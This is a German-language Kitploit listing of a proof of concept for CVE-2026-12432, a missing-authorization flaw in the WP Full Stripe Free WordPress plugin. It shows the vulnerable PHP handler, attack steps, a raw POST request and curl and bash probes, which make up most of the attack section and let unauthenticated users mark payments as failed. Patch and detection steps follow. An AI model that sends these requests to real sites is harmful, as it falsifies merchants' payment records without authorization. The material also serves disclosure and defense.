Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 1 MonatNoch nicht geprüft

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 – Fehlende Autorisierung

Überblick

  • CVE-ID: CVE-2026-12432
  • CVSS-Score: 5.3 (Mittel)
  • CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Betroffen: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • Behoben: >= 8.4.4
  • Veröffentlicht: 26. Juni 2026
  • Zuletzt aktualisiert: 27. Juni 2026
  • Entdecker: Netwurm – VTDR e.V.i.G.

Beschreibung der Schwachstelle

Das WP Full Stripe Free Plugin für WordPress ist in Versionen bis einschließlich 8.4.3 anfällig für eine Fehlende Autorisierung über die AJAX-Aktion wpfs_update_failed_payment_status.

Grundursache

Der verwundbare AJAX-Endpunkt wird sowohl über wp_ajax_- als auch über wp_ajax_nopriv_-Hooks registriert:

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

Die Funktion update_failed_payment_status() (Zeile 3835–3865) führt Folgendes durch:

  • ❌ KEINE Berechtigungsprüfung (kein current_user_can())
  • ❌ KEINE Nonce-Überprüfung (kein wp_verify_nonce())
  • ❌ KEINE Prüfung auf angemeldeten Benutzer (kein is_user_logged_in())

Verwundbarer Code

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... no auth check before processing ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // Attacker can overwrite with controlled values
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

Angriffsvektor

Voraussetzungen

  • Die Payment-Intent-ID muss bekannt sein (wird während des normalen Stripe-Checkouts im Browser angezeigt).
  • Keine Authentifizierung erforderlich.

Angriffsschritte

  1. Ziel identifizieren: Finde eine WordPress-Seite mit WP Full Stripe Free <= 8.4.3.
  2. Payment-Intent-ID ermitteln: Extrahiere sie aus dem Stripe.js-Checkout-Ablauf oder früheren Transaktionen.
  3. Schädliche Anfrage senden: Erstelle eine POST-Anfrage an admin-ajax.php mit vom Angreifer kontrollierten Parametern.

HTTP-Anfrage

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

Bewertung der Auswirkungen

AuswirkungsbereichSchweregradBeschreibung
Integrität

Spezifische Auswirkungen

  1. Manipulation von Zahlungsdatensätzen: Der Angreifer kann den Zahlungsstatus von „bezahlt“ auf „fehlgeschlagen“ ändern.
  2. Falsche Fehlercodes: Der Angreifer kann beliebige Fehlercodes/-meldungen einfügen.
  3. Social Engineering: Könnte genutzt werden, um Kunden zu betrügen oder legitime Abbuchungen anzufechten.
  4. Korruption des Prüfpfads: Geschäftsunterlagen können gefälscht werden.

Proof of Concept (curl)

Grundlegende Erkennung

root@kitploit:~
# Testet, ob der Endpunkt ohne Authentifizierung erreichbar ist
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Erwartete Antwort (anfällig):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# Das Hauptindiz ist, dass der Endpunkt antwortet, OHNE eine Authentifizierung zu verlangen

Vollständiges PoC-Skript

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# Prüfen, ob anfällig
echo "[*] Teste CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] ANFÄLLIG – Endpunkt ohne Authentifizierung erreichbar"
else
    echo "[-] Nicht anfällig oder Fehler"
fi

Behebung

Sofortige Lösung

Füge eine Autorisierungsprüfung in wpfs-customer.php in Zeile 3835 hinzu:

root@kitploit:~
function update_failed_payment_status() {
    // DIESE PRÜFUNG HINZUFÜGEN
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... Rest der Funktion
}

Empfohlene Lösung (vom Anbieter)

Aktualisiere auf WP Full Stripe Free >= 8.4.4

root@kitploit:~
# Über WordPress Admin
Dashboard > Plugins > WP Full Stripe > Aktualisieren

# Über WP-CLI
wp plugin update wp-full-stripe-free

# Über SSH
wp plugin update wp-full-stripe-free --version=8.4.4

Erkennung

Manuelle Überprüfung

  1. Überprüfe die Plugin-Version im WordPress-Admin.
  2. Untersuche wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php.
  3. Achte auf fehlende current_user_can()-Aufrufe vor AJAX-Handlern.

Automatisierte Erkennung

root@kitploit:~
# Prüfen, ob eine anfällige Version installiert ist
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# AJAX-Endpunkt testen
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Möglicherweise anfällig"

Referenzen

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram chanel #1
  • W.P.E.F Telegram chanel #2 --

Zeitplan

  • 26. Juni 2026: Schwachstelle öffentlich bekannt gegeben.
  • 27. Juni 2026: CVE-2026-12432 veröffentlicht.
  • Patch: Aktualisierung auf >= 8.4.4.
Tool herunterladen
Mittel
Angreifer können erfolgreiche Zahlungen als fehlgeschlagen markieren
VertraulichkeitKeineKeine Datenpreisgabe
VerfügbarkeitGeringKönnte Geschäftsabläufe stören